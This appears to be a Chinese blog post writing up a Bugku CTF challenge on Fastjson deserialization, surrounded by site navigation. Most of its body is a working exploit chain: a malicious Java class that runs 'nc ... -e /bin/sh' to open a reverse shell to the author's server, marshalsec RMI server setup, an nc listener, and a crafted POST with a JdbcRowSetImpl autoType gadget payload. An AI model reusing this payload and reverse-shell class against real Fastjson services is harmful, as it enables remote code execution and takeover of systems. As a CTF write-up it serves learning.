IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Java-Fastjson 反序列化 -> 正文阅读

[网络协议]Java-Fastjson 反序列化

简介

bugku的一道题为例:

ctf.bugku Java Fastjson

漏洞验证

使用python脚本测试一下漏洞存在。

环境搭建

这里我使用RMI服务进行漏洞利用,所以先搭建Java rmi服务,因为不是在本地测试,这里是在公网服务器上搭建的。

下载一个marshalsec

git clone https://github.com/mbechler/marshalsec

新建一个用于执行命令的java类文件

vi fastjson.java

import java.lang.Runtime;
import java.lang.Process;

public class fastjson {
? ? ? ? static {
? ? ? ? ? ? ? ? try {
? ? ? ? ? ? ? ? ? ? ? ? Runtime test = Runtime.getRuntime();
? ? ? ? ? ? ? ? ? ? ? ? String commands = "nc 公网ip -e /bin/sh";
? ? ? ? ? ? ? ? ? ? ? ? Process commmand = test.exec(commands);
? ? ? ? ? ? ? ? ? ? ? ? commmand.waitFor();
? ? ? ? ? ? ? ? } catch (Exception e) {
? ? ? ? ? ? ? ? ? ? ? ? System.out.println("error!");
? ? ? ? ? ? ? ? }
? ? ? ? }
}

编译fastjson.java文件,会在当前目录下生成一个fastjson.class文件

javac fastjson.java

使用python开启一个临时的http服务

python3 -m http.server

开启RMI服务,并且监听一个端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:1000/#fastjson 4444

使用nc监听刚才恶意java类文件中的端口

nc -lvvp 2223

漏洞利用

对登录框进行登录数据包抓取

查看一下网页源代码

利用burp构造恶意post请求

POST /login HTTP/1.1
Host: 114.67.175.224:17752
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 213
Origin: http://114.67.175.224:17752
DNT: 1
Connection: close
Referer: http://114.67.175.224:17752/
Cookie: PHPSESSID=uvgca1b5t9j5fekvi8c5ea3o65

{"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi:/ip:4444/fastjson",
"autoCommit":true
}}

重放后返回空白

这时候公网服务器上已经接收到了shell会话

cat flag


结语

长大以后我们都喜欢说"小孩子才做选择",但现实是只有小孩子才有照单全收的资格,而我们不得不让理性压抑情感,才能做出一些从长远来看正确的决定。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-04 15:57:23  更:2022-03-04 15:59:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:22:58-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码